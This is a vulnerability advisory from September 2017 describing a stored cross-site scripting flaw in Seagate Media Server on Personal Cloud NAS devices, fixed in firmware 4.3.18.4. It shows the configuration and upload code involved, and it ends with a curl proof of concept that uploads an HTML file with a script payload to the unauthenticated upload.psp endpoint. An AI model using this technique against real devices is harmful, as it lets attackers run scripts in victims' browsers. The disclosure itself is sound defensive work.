Yorick Koster, September 2017

Seagate Media Server stored Cross-Site Scripting vulnerability

Abstract

Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). By default Seagate Media Server allows unauthenticated users to upload files to a public share. Once a file is uploaded it can also be downloaded again from the NAS.

No restrictions are enforced on which file types a user can upload, any type of file can be uploaded including executable files & HTML files. File downloads are directly handled by Lighttpd and because of this file are processed based on its (MIME) type. An attacker can upload an HTML file and cause Lighttpd to treat the file as a regular web page. Consequently, uploading an HTML file can be used to execute a stored Cross-Site Scripting attack.

Tested versions

This issue was tested on a Seagate Personal Cloud model SRN21C running firmware versions 4.3.16.0 and 4.3.18.0. It is likely that other devices/models are also affected.

Fix

This vulnerability has been fixed in firmware version 4.3.18.4.

Introduction

Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). Personal Cloud is deployed with the Seagate Media Server application that allows users to easily access their movies, music, and photos. The Seagate Media Server is accessible without authentication, by default a Public folder exists where anonymous users can upload files to.

It was found that Seagate Media Server is vulnerable to stored Cross-Site Scripting. An unauthenticated attacker can upload an HTML file into a public share. Once uploaded the file can be used to execute a Cross-Site Scripting attack by tricking an (authenticated) user into visiting the uploaded file in their browser.

Details

Seagate Media Server uses the Django web framework and is mapped to the .psp extension. Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol.

/etc/lighttpd/conf.d/django-host.conf:

fastcgi.server += (
".psp"=>
   ((
      "socket" => "/var/run/manage_py-fastcgi.socket",
      "check-local" => "disable",
      "stream-post" => "enable",
      "allow-x-send-file" => "enable",
   )),
".psp/"=>
   ((
      "socket" => "/var/run/manage_py-fastcgi.socket",
      "check-local" => "disable",
      "stream-post" => "enable",
      "allow-x-send-file" => "enable",
   ))
)

URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py. Seagate Media Server contains an endpoint named upload.psp that allows unauthenticated users to upload arbitrary files to a public share. No restrictions are enforced on which file types a user can upload, any type of file can be uploaded including executable files & HTML files.

/usr/lib/python2.7/site-packages/sms/modules/FileOperations/file_operations.py:

@csrf_exempt
def upload( request ):
   logDebug('Processing upload request')
   response = {'stat': 'failed', 'code': '77', 'message': 'Something went wrong.'}
   if checkDBSQLite( ):
      response['code'] = '80'
      response['message'] = "The Database has not been initialized or mounted yet!"
      logDebug('Upload handler called but Database has not been initialized or mounted yet!')
      return create_upload_response(json.dumps(response), request)
   try:
      logDebug('Processing request with UploadRequestHandler')
      return UploadRequestHandler.UploadRequestHandler( request ).process( )
   except UploadRequestHandler.UploadRequestHandlerException as e:
      response['code'] = str(e.code)
      response['message'] = e.message
      logException('Exception processing UploadRequestHandlerException upload request')
      return create_upload_response(json.dumps(response), request)
   except:
      logException('Exception processing upload request')

      
Files are stored within the /media/sms-data/Public/ folder on the NAS. This folder is exposed in the Lighthttp configuration and are thus directly accessible through a web browser.

/etc/lighttpd/conf.d/sms.conf:

$HTTP["url"] =~ "^"+"/media/sms-data" {
   server.document-root = "/"
   server.follow-symlink="disable"
}

When the user browses to the uploaded file, the file will be processed based on its (MIME) type. An attacker can upload an HTML file and cause Lighttpd to treat the file as a regular web page. Consequently, uploading an HTML file can be used to execute a stored Cross-Site Scripting attack. Once uploaded the file can be used to execute a Cross-Site Scripting attack by tricking an (authenticated) user into visiting the uploaded file in their browser.

Proof of concept

First upload an HTML file containing an HTML payload, this can be done using the following curl command:

curl -i -s -k  -X $'POST' \
   -H $'Content-Type: multipart/form-data; boundary=---------------------------75230038716763744201986911947' \
   --data-binary $'-----------------------------75230038716763744201986911947\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"xss.html\"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0a<script>alert(\'xss\');</script>\x0a\x0d\x0a-----------------------------75230038716763744201986911947\x0d\x0aContent-Disposition: form-data; name=\"force_flag\"\x0d\x0a\x0d\x0atrue\x0d\x0a\x0d\x0a-----------------------------75230038716763744201986911947--\x0d\x0a' \
   $'http://personalcloud.local/upload.psp'

After running the curl command the HTML file can be viewed via the following URL:
http://personalcloud.local/media/sms-data/Public/xss.html